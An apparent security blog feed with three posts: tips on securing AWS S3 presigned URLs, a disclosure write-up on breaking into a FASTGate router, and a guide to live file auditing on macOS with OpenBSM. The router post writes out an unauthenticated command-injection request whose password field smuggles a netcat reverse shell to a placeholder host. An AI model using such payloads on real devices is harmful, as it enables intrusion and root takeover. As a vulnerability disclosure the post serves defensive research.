Jekyll2026-02-10T15:34:28+00:00https://insecurity.blog/feed.xml(in)securityYet another blog with some security related posts.Securing your Amazon AWS S3 presigned URLs, tips and tricks2021-03-06T17:20:24+00:002021-03-06T17:20:24+00:00https://insecurity.blog/2021/03/06/securing-amazon-s3-presigned-urls
  • Abstract
  • Conclusion
  • References
  • Abstract

    With the advent of the cloud, Amazon AWS S3 (Simple Storage Service) has become widely used in most companies to store objects, files or more generally data in a persistent and easily accessible way.

    AWS S3 buckets can be (and in fact, are) integrated in almost any modern infrastructure: from mobile applications where the S3 bucket can be queried directly, to web applications where it could be proxies behind a back end, to micro-services that use them to store processed documents, logs, or other data for both short term and long term storage.

    If you use S3 in your infrastructure, you will probably find yourself in the situation where you want to return a file from an S3 bucket to the user, or where you need your user to safely upload a file into the S3 bucket. To make this integration easier and safer, S3 provides the so-called presigned URLs.

    This blog post will briefly explain what a presigned URL is and will summarize the security considerations and tips I ended up writing after several time spent playing with them and threat modeling user’s file upload features.

    You will not find ready to copy-paste policy configuration for your S3 bucket or detailed explanation on how to secure your bucket, what you will find here is a list of good-to-know and good-to-remember considerations that you should keep in mind if your goal is to use presigned URLs to store object into an S3 bucket in a safe(r) way.

    Disclaimer

    This is the result of my experience with S3 buckets, not an absolute truth. If you notice any error or inaccuracy report it to me, I’ll learn something new and I can make the article more accurate.

    Presigned URLs: What are these and some use cases

    Before starting with the list of tips, let’s briefly discuss what the general use case for presigned URLs is in a generic modern environment.

    Let’s say you host some files on an S3 bucket and you need to expose these to a user but you don’t want to setup the bucket as open, also let’s say you want to keep some control on the access to these files, for example by limiting the time-frame where the files can be accessed by the user.

    Now let’s say you create a feature that involves the user uploading a document and that you want to store this file into an S3 bucket. How do you handle this in a secure way?

    Here’s were presigned URLs come in handy: AWS S3 provides an easy way to share S3 objects by creating signed (with owner credentials) links to access them. Amazon’s documentation explain this concept in a clear way:

    All objects by default are private. Only the object owner has permission to access these objects. However, the object owner can optionally share objects with others by creating a presigned URL, using their own security credentials, to grant time-limited permission to download the objects.

    So here’s the deal, unless you configure your bucket differently (for example to be read-accessible to everybody) your files are private but can be shared by creating a time-limited permission in the form of a link, neat!

    But how does a presigned URL look like? Let’s go with an example:

    https://yourbucket.s3.eu-west-1.amazonaws.com/yourfile.pdf?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=some-aws-credential-to-identify-the-signer&X-Amz-Date=timestamp-of-generation&X-Amz-Expires=validity-from-generation-timestamp&X-Amz-Signature=4709da5a980e6abc4ab7284c1b6aa9e624f388e08f6a7609e28e5041a43e5dad&X-Amz-SignedHeaders=host
    
    

    or in a more user-friendly format:

    https://yourbucket.s3.eu-west-1.amazonaws.com/pdf/yourfile.pdf ?
    X-Amz-Algorithm     =   AWS4-HMAC-SHA256 &
    X-Amz-Credential    =   some-aws-credential-to-identify-the-signer &
    X-Amz-Date          =   timestamp-of-generation &
    X-Amz-Expires       =   validity-from-generation-timestamp &
    X-Amz-Signature     =   4709da5a980e6abc4ab7284c1b6aa9e624f388e08f6a7609e28e5041a43e5dad &
    X-Amz-SignedHeaders =   host
    
    

    Most of these parameters are configured or generated by using the AWS SDK functionalities but how to create a presigned URL is not the goal of this article. What it’s important to remember is that S3 will try to compute the same signature for the specified credentials, including into its calculation the optional SignedHeaders parameter and checking if the signature is valid and if the link is not expired yet.

    Something else that is important to remember is that when you create a presigned URL for an object (for both scenarios where you want to upload or download a file) you must provide to the SDK valid credentials to generate a valid signature. This means that the presigned URL will be authenticated to access the resource “on behalf of” the credentials you used to generate it.

    Said that, the ideal setup would usually be to have a dedicated back end service with dedicated (and restricted) credentials to generate presigned URLs for specific resources and returning these to the front end or to the client, where can be directly used to read or write the “signed” resource (Fig. 1).

    Figure 1 - A very simplified schema that shows how presigned URLs are used Figure 1 - A very simplified schema that shows how presigned URLs are used

    But let’s go next with the recommendations, not sorted in any specific order.

    Presigned URLs can be reused

    Yes, these URLs are not one-shot and the only thing that can limit temporally a presigned URL is the X-AMZ-Expires parameter: once the presigned URL is generated, it will be valid for an unlimited amount of times before it expires. This means that if you grant read access to an object in a bucket for 1 day, anyone with the link can access that object for the whole day, multiple times. This also means that if you grant write access via a presigned URL to a bucket for 1 day, anyone with the URL could upload whatever file they want, any time they want.

    Anyone can use a valid presigned URL

    Just to make sure this is clear: if you generate a presigned URL anyone can use this, the user generating this link could use it to phish another user and let them upload an arbitrary file. So be sure you threat model properly your feature to avoid logic vulnerabilities. If your service is generating a presigned URL valid for 10 minutes to upload a file, that URL can be used by anyone, unless you validate the request in a different way; A solution could be adding an additional signed header while building the presigned URL in a way that only allowed clients can perform the request (Check point #8).

    Presigned URLs do not provide authentication

    When your service returns a presigned URL to a user, the user will consume it to read / upload an object directly from / into the S3 bucket. This means that your service will not handle that file directly before it’s uploaded. This also means that your authentication layer will not usually be in place, unless your s3 bucket has some authentication proxy in front of it. In other words, presigned URLs only provide authorization to access a specific object in a bucket (and eventually impose some restrictions to that access) but the authentication is implicitly connected to the IAM role that generates the presigned link. In your ideal setup this means that your service will use its credentials to generate a presigned URL that the S3 bucket will match to the service while checking the signature, not to the client. If you want to provide authentication to the actual user consuming the link, you need to implement this by yourself while generating the presigned link, for example by storing the presigned link along with the user identifier that requested it.

    For file uploads, another solution could be to generate a random UUID as filename for the object to be uploaded and store this UUID with the user identifier on your database, otherwise you can append the user identifier directly to the random UUID on the filename.

    Do not give full access to the bucket to the service creating presigned URLs

    If the task of your back end service is to only upload files into a bucket, you probably don’t need to configure an IAM role that is capable of reading all the objects in the bucket or to delete them, and you probably don’t want this to happen too, so keep in mind to stick to the principle of least privilege and only grant the necessary permissions when configuring the IAM role.

    Having your back-end service handling credentials that can do more than you want is a big risk for your infrastructure security and your users: let’s say you configure your service to use bucket’s owner credentials, what happen if the keys get leaked or if a malicious actor can access them? You got this right, they have full access to the bucket and to its content. Now let’s say your service is configured with an IAM role that can only read files under a specific folder, you see the improvements? The attacker can still read uploaded files, and this is still bad, but definitely better than having the attacker deleting all the files, or replacing some with malicious ones.

    Keep also in mind that credentials or keys shouldn’t be hard coded, there are several alternative to safely store secret and retrieve them when needed, and AWS itself has also a specific service to do that, called AWS Secrets Manager, so don’t hard-code credentials and secret.

    Enable server access logging on your exposed S3 bucket

    This is a generic recommendation that applies even if you don’t use presigned URL and should be followed for any S3 bucket, the explanation of this is clearly reported on the Server Logs page from AWS:

    Server access logging provides detailed records for the requests that are made to a bucket. Server access logs are useful for many applications. For example, access log information can be useful in security and access audits. It can also help you learn about your customer base and understand your Amazon S3 bill.

    This is not enabled by default, as mentioned on the relevant web page:

    By default, Amazon S3 doesn’t collect server access logs.

    Path traversal can be a thing, sanitize that filename

    Or even better, use a random UUID. Depending on your application’s design, if the user can control the filename of the file being uploaded, you could be exposed to some threats like path traversal attacks, as shown here or here. To avoid this, you should sanitize that filename before using it to generate the presigned URL. Another good solution would be to generate a random UUID and use that as a filename, completely discarding the user controlled input.

    Be careful with file-size, there’s no built in functionality to limit it

    With presigned URL, you don’t have an easy way to limit file size , and this can be a problem. S3 has a cap of 5GB per request so you shouldn’t end up with a huge file on your disk but based on your file processing algorithm and your expectation on the file size, 5GB could be a bit more than you expect.

    Presigned URLs do not allow to configure a max file size with an easy-to-set parameter but there are some workaround to this, as you can see from #8 or #9.

    According to your infrastructure design, this could even not be a problem (but it’s still good to keep this in mind).

    Using signed headers, you can add a file’s hash and avoid uncontrolled file uploads

    As said before, once a presigned URL is generated, you don’t have control over who can upload a file, but you can mitigated this by generating a presigned URL that checks for the file’s md5 hash, how? By using X-Amz-SignedHeaders.

    By specifying the Content-MD5 header while generating the presigned URL, your service can enforce the presigned URL to be valid only if the specified value for this header is the same from the one specified, and the one received by the user while uploading a file. This way you can generate a presigned URL for a specific file, not for a generic one (Fig. 2).

    Figure 2 - Presigned URL generation by enforcing the md5 hash Figure 2 - Presigned URL generation by enforcing the md5 hash

    Keep in mind that this will not protect from a customer that want to upload an arbitrary file, as the customer will be able to compute the hash and request the presigned link for this file, but will protect from scenarios where the user wants to use a presigned link and let someone else uploading an arbitrary files (for example in a phishing scenario).

    You can use SignedHeaders also to enforce additional controls, for example on file size by signing the content-length header.

    You could use POST rather than PUT

    Amazon’s AWS S3 documentation mention that:

    When you create a presigned URL, you must provide your security credentials and then specify a bucket name, an object key, an HTTP method (PUT for uploading objects), and an expiration date and time. This is the default situation, but using PUT method you don’t have some controls that you could get with POST, why? Because of POST Policies.

    A POST Policy is a sequence of rules (called conditions) that must be met when performing a POST request to an S3 bucket in order for this request to success. You can configure these directly from the AWS console.

    One benefit, over the others, of using a POST policy is that the list of conditions contains content-length-range, which can be used to easily solve the consideration #7.

    But can I still use PUT?

    It is still not clear to me what’s the best solution is between POST and PUT, I saw both used in productions and I think that depends a lot on the specific use case: presigned URL uses PUT by default, and you don’t need to write a policy, but you loose flexibility. On the other hands, POST give you more control but is less straightforward to implement in my opinion. Amazon seems to suggest using POST policy, considering this article where they show an example of browser-based upload.

    Keep the expiration of the presigned URL low, especially for file write

    This is self-explanatory, keep the presigned URL as short-lived as you can. Most of the time, presigned URL are used to download a single file from a bucket, and then are discarded. In most scenarios, your front end does not even keep track of the link itself and, once the file is downloaded, is discarded.

    For file upload the situation is similar: if your front end is taking care of requesting the presigned link and uploading the file, this shouldn’t take long. If it’s taking longer than expected, the presigned link could be requested again. There’s no need to keep an upload link valid for hours.

    Don’t forget to configure CORS

    If your front end is a web application served in a browser, you must configure CORS (Cross Origin Resource Sharing) otherwise your client’s requests will fail due to browser’s protection. CORS is intended to protect your customers from malicious website that could perform actions on behalf of the customer.

    Even if your policies and permissions still apply when you configure CORS, blocking unauthorized websites to perform cross-origin requests to your bucket is a must do.

    Via the CORS configuration panel you can configure your allowed domains on the AllowedOrigin object. Keep in mind the principle of least privilege also when configuring CORS: only white-list websites that you have control over.

    If you want to know more about CORS and how to apply it, Amazon provides a great documentation on the topic with lot of examples and I suggest you to read it.

    If your front end is a mobile application, then CORS won’t apply, as CORS is enforced by browsers to avoid cross-origin and mobile applications are not considered a web origin (and are not susceptible to attacks that leverage cross-origin requests). In this case you still want to ensure that websites can’t access your bucket and you can do this by ensuring that your CORS is enabled without any allowed origin or is disabled. If CORS is disabled, browsers will not perform any request.

    Conclusion

    With this blog post I hope that I gave you an idea about what to keep in mind while designing a user upload feature with presigned URLs. As you can see, depending on your threat model, the things to keep in mind can be different.

    I’m sure there are other valid recommendations that you can suggest, as I don’t think I cover 100% of the things.

    File uploads can be very dangerous functionalities and the risks involved are multiple. Even if you follow these recommendation, you don’t know if the file being uploaded from a user is malicious or not, and processing it could have unwanted results. That’s why it is suggested to process untrusted files in a restricted environment.

    Finally, AWS provides lot of documentation on S3 and how to secure it further, I suggest you to read this document if you’d like to know more about how to secure files in S3 buckets.

    If you enjoyed this post, you can follow me on Twitter or check out my GitHub profile.

    References

    ]]>
    santoru
    Hacking into a FASTGate router with a command injection (and a bunch of other vulnerabilities)2018-10-13T21:14:42+00:002018-10-13T21:14:42+00:00https://insecurity.blog/2018/10/13/hacking-into-a-fastgate-routerThis blog post describes how I found a couple of vulnerabilities in the FASTGate modem/router provided by Fastweb, an Italian telecommunication company, to its clients. Thanks to these vulnerabilities I was able to bypass the authentication layer as well as execute arbitrary code via command injection and get a reverse shell back to the router. All vulnerabilities have been disclosed to Fastweb and are fixed in newer versions of the firmware.

    FASTGate: the latest generation modem from Fastweb

    Fastweb1 is an Italian telecommunications company that provides internet services. Since around march 2017 the company started to ship a new modem to its client: the FASTGate2. Working as a penetration tester, and having the possibility to test it out, I started to analyze its web interface in order to find some vulnerabilities that could give me some unintended access to it. Goal of the night: popping up a shell!\ First step was to set up Burp Suite as a proxy and navigate a bit through the webpages to save some request and response. The first screen I got was the login panel, as shown in figure 1.

    Figure 1 - Login panel Figure 1 - Login panel

    Broken authentication layer

    I logged in and started to browse some pages and execute actions in order to understand how requests were handled. The first thing I noticed was that the login request did not return any cookie nor any token to the client and this made me suspicious: did they implement some authentication at all?
    They didn’t.

    What I noticed was that the web application was simply sending AJAX requests to a cgi binary, called status.cgi, using a parameter called nvget to specify the action. For example, the following GET request was enough to list all devices connected to the router, even in the past, with their assigned IP, their MAC address and their hostname:

    GET http://192.168.1.254/status.cgi?nvget=pc_list
    

    Just to have a nice output to show, I developed a python script that parses the json response and display it:

    Figure 2 - Devices enumeration Figure 2 - Devices enumeration

    Unauthenticated command injection in login page

    With this trivial authentication bypass via the status.cgi binary, I went back to the login request and started to manually fuzz both the username and password fields. After few tests I noticed that the response of the server, after putting a single quotation mark into the password field, printed an interesting line:

    HTTP/1.0 200 OK
    sh: syntax error: unterminated quoted string
    Content-type: text/html
    

    Uhm.. what? Am I dreaming? Is my controlled input really used to execute a shell command with no sanitization at all? I wanted to see if I could actually run some commands, so I tried executing ping which is usually a command installed on any distribution:

    GET /status.cgi?_=1512070412178&cmd=3&nvget=login_confirm&password='$(ping)'&remember_me=1&username=admin HTTP/1.1
    

    The response was the confirmation I was looking for:

    Figure 3 - Ping command Figure 3 - Ping command

    As shown, I can successfully send arbitrary command by adding to the password input the text '$(`command`)'. The impact of this vulnerability is full code execution on the router, but it’s not clear what privileges I’m running with, having a shell to quickly interact with the router would be ideal!

    Getting the reverse shell

    The command execution is cool, but can we go further? Can we get a real shell into the system? Of course we can! After some enumeration done via the command injection, I noticed that the router shipped several netcat binaries, one of which was luckily compiled with support to the -e parameter that, quoting the man page, execute external program after accepting a connection or making connection. Let’s use this nc binary to run a reverse shell:

    GET /status.cgi?cmd=3&nvget=login_confirm&password=AA'$(`/statusapi/usr/bin/nc%20LHOST%20LPORT%20-e%20/bin/bash`)AAremember_me=1&username=admin HTTP/1.1
    

    This was enough to get a full reverse shell into the system, and guess what? The process is running as root so we get full access to the device.

    Figure 4 - Exploit executed to get a shell Figure 4 - Exploit executed to get a shell

    Conclusions

    For documentation purpose, the vulnerable software version that I tested is the v1.0.1b, with firmware version 0.00.47_FW_200_Askey2017-05-17 17:31:59.
    It must be noted that in order to exploit the vulnerability the attacker must be authenticated to the Wi-Fi network, as the admin interface is exposed on the internal network.

    Figure 5 - Vulnerable version Figure 5 - Vulnerable version

    The communication with Fastweb didn’t go very smooth. I tried to contact them multiple time to report this vulnerability but after an initial ack they stopped any communication with me. Few weeks after my emails, they released a new firmware version that addressed most of the vulnerabilities:

    • Login request now returns a session token that it is used to authenticate all requests to status.cgi, so it seems that they fixed the trivial “bypass”.
    • They initially added a CSRF protection by setting a cookie called XSRF-TOKEN: when sending a request, the web application send both the cookie and a X-XSRF-TOKEN header with the same value. There’s no actual validation on the token value, no matter what the user decide to sent via these two headers, if the cookie matches the token value, the server will accept it.
    • The command injection was still present in a bunch of updates, but was eventually fixed.

    At the time, they didn’t have any responsible disclosure program nor any specific security contact, but they did create one shortly after my first email. The Responsible Disclosure3 webpage they created has an Hall-of-Fame, but I was not mentioned there.

    Bonus: mini_httpd v1.27 / thttpd v2.27 buffer overflow

    One of the first things I noticed reading the response from the router was the Server header: mini_httpd/1.27 07Mar2017.
    According to the developer’s website of mini_httpd4, it seemed to be the latest available version at the time and I couldn’t find any public information about known vulnerabilities on it.

    Since the source code was available, I started to do some analysis and I noticed a trivial buffer overflow in the htpasswd.c file, which turned out to be a custom and simplified version of the original htpasswd utility developed for the Apache HTTP Server and used to'create and update the flat-files used to store usernames and password for basic authentication of HTTP users.
    The simplified version developed by ACME Laboratories had a buffer overflow vulnerability since the username parameter provided through the command line interface was copied into a buffer without any bound check. The vulnerability could be exploited to execute malicious payloads if the utility can be used remotely to set up, for example, an account: In this case an attacker can craft an exploit and gain code execution into the vulnerable system.
    After disclosing the vulnerability to the maintainer of the web-server an update that fixed the vulnerability was released through the developer’s website.

    Disclosure timeline of the Buffer Overflow

    • 01 December 2017 - Contacted the developer to ask how to report security findings
    • 12 December 2017 - Sent the details of the vulnerability to the developer
    • 13 December 2017 - Developer acknowledged the vulnerability
    • 13 December 2017 - CVE assigned: CVE-2017-17663
    • 04 February 2018 - Update released for mini_httpd & thttpd and advisory published for the vulnerability.

    Footnotes

    ]]>
    santoru
    Real-time auditing on macOS with OpenBSM2017-07-02T20:05:24+00:002017-07-02T20:05:24+00:00https://insecurity.blog/2017/07/02/mac-os-real-time-auditing
  • Introduction
  • OpenBSM
  • The auditpipe
  • References
  • Introduction

    Goal of this blog post is to explain how to use OpenBSM library to perform live audit on macOS to detect which files are open and by who. Everyday we install some program, or application, on our computer and they can basically have access to the most of files. Real-time auditing can be useful for a lot of reasons: maybe you’re just curious to see which files are opened by some applications or if some malicious process are reading your personal documents, or maybe opening your photos. Maybe you are not curious but you just want to detect possible ransom-ware activity to stop them.
    The scenarios are infinite.
    Another common scenario is that you can use real-time auditing to build and run your personal Host-Based IDS by checking modifications and accesses to sensible files.

    In this blog post I will just explain how this auditing is possible thanks to OpenBSM, giving the reader some others resources for further “investigation” and publishing a small proof-of-concept of a basic implementation.

    If you spot a mistake, I’ll be happy to fix it, just send an email to me.

    OpenBSM

    According to the Trusted BSD project, OpenBSM is an open-source implementation of Sun’s BSM (Basic Security Module) event auditing file format and API originally created for Apple Computer by McAfee Research.

    This implementation provides a set of system calls and library interfaces for managing audit records but includes also some command line tools.

    As we can see from the configuration files located in /etc/security, by default macOS use two flags, lo and aa, to logs Login/Logout (lo) and Authorization/Authentication (aa) events on the /var/audit/ directory.

    $ cat /etc/security/audit_control
    
    #
    # $P4: //depot/projects/trustedbsd/openbsm/etc/audit_control#8 $
    #
    dir:/var/audit
    flags:lo,aa
    minfree:5
    naflags:lo,aa
    policy:cnt,argv
    filesz:2M
    expire-after:10M
    superuser-set-sflags-mask:has_authenticated,has_console_access
    superuser-clear-sflags-mask:has_authenticated,has_console_access
    member-set-sflags-mask:
    member-clear-sflags-mask:has_authenticated
    

    We can have some information about these flags, and about all available flags, from another file located on the same directory:

    $ cat /etc/security/audit_class
    
    #
    # $P4: //depot/projects/trustedbsd/openbsm/etc/audit_class#6 $
    #
    0x00000000:no:invalid class
    0x00000001:fr:file read
    0x00000002:fw:file write
    0x00000004:fa:file attribute access
    0x00000008:fm:file attribute modify
    0x00000010:fc:file create
    0x00000020:fd:file delete
    0x00000040:cl:file close
    0x00000080:pc:process
    0x00000100:nt:network
    0x00000200:ip:ipc
    0x00000400:na:non attributable
    0x00000800:ad:administrative
    0x00001000:lo:login_logout
    0x00002000:aa:authentication and authorization
    0x00004000:ap:application
    0x20000000:io:ioctl
    0x40000000:ex:exec
    0x80000000:ot:miscellaneous
    0xffffffff:all:all flags set
    

    Since we want to monitor which files are accessed by a process, we can build our own audit program using the functions provided from OpenBSM and log, or display, only relevant information. To audit only some information we can then specify one or more of the flags above and, for example, if we want to log which files are open to be read, we can use the flag “fr” identified by the value 0x00000001.

    The Basic Security Module Library provides some functions to read these events and automatically parse them. In details, we have 4 functions to manipulate and interact with events:

    au_read_rec()

    int au_read_rec(FILE *fp, u_char **buf);

    This function let us read an event record from a file descriptor and put the content in the buffer buf passed as parameter (which must be freed after use). The function return the number of bytes read.

    au_fetch_tok()

    int au_fetch_tok(tokenstr_t *tok, u_char *buf, int len);

    The buffer obtained from au_read_rec contains tokens, every token is a struct with different information, according to the token id. The first token of the buffer is always a AUT_HEADER* token: it contains a field that indicate which kind of event is on the buffer. The next tokens contains information about the path of the process that raised the event, the path of the file interested by the event and other information like the user, the timestamp… To read the buffer with the record inside we have to fetch every token on it sequentially, using the au_fetch_tok

    au_print_tok()

    void au_print_tok(FILE *outfp, tokenstr_t *tok, char *del, char raw, char sfrm);

    Now that we have a token, we can print it on a file descriptor.

    au_print_flags_tok()

    void au_print_flags_tok(FILE *outfp, tokenstr_t *tok, char *del, int oflags);

    Another function to print token in a fancy way is to use au_print_flags_tok that accepts an additional parameter to specify different output formats (XML, raw, short..).

    A typical use of these functions could be:

    • Open a file (usually an audit pipe) with fopen() and print records on a buffer from the file by calling au_read_rec().
    • Read each token for each record through calls to au_fetch_tok() on the buffer
    • Invoke au_print_flags_tok() to print each token to an output stream such as stdout.
    • Free the buffer
    • Close the opened file

    There is only one problem I found while parsing these events with the functions provided: au_print_tok() and au_print_flags_tok() take as input a token from au_fetch_tok() and there is no way to parse or filter it, to have a nicer and more descriptive output of the token. My solution was to bypass the two functions and manually parse the token to get only the most interesting properties. But how this tokens are made? As said before, every event is made of some tokens. A token is just a C struct that contains some information according to the ID of the token. A read event, for example, has 3 main tokens: AUT_HEADER , AUT_SUBJECT and AUT_PATH.
    AUT_HEADER contains information about the event. In a read event, it display that the event is actually a file read (fr).
    AUT_SUBJECT define which process raised this event while AUT_PATH specify which path was read by the AUT_SUBJECT.

    We can manually parse the struct to print only useful information.

    The auditpipe

    Now that we know how to read events we need to know from where we can take real-time events. The solution is to use a specific device called auditpipe and located in /dev/auditpipe.

    The auditpipe is a pseudo-device for live audit event tracking that can be opened as a file and used with the 4 functions above to read and parse our real-time events.

    In order to use the auditpipe we need to configure it with ioctl system calls to set up which events we want to get from the pipe.

    filewatcher - a simple auditing utility for macOS

    I wrote a small utility to monitor file or process activities using the auditpipe and the functions I explained.
    You can find it directly on GitHub
    To configure the auditpipe I used an example found here.
    To parse the token’s structure I used the open source code from OpenBSM.
    The code is still pretty messy but it works! The options are not so much at the moment, but my goal is to improve it to have a fully-working auditing tool. At the moment it is possible to specify which process or which file to monitor. By default, only some events are displayed, like open/read/write/close. Anyway, it’s possible to display all events thanks to an option. Check the help message!
    It’s also possible, for now, to enable debug message logging into a file.

    Installation

    At the moment, There is only a line of code inside the Makefile to compile the tool, so you can just make and it will compile inside the bin folder.
    If you want to manually compile it, you need to include the bsm library:

    $ gcc -lbsm filewatcher.c lib/*.c -o bin/filewatcher
    

    Usage

    $ sudo ./bin/filewatcher -h
    filewatcher - a simple auditing utility for macOS
    
    Usage: ./bin/filewatcher [OPTIONS]
      -f, --file                 Set a file to filter
      -p, --process              Set a process name to filter
      -a, --all                  Display all events (By default only basic events like open/read/write are displayed)
      -d, --debug                Enable debugging messages to be saved into a file
      -h, --help                 Print this help and exit
    

    Figure 1 - An example of the output Figure 1 - An example of the output

    References

    ]]>
    santoru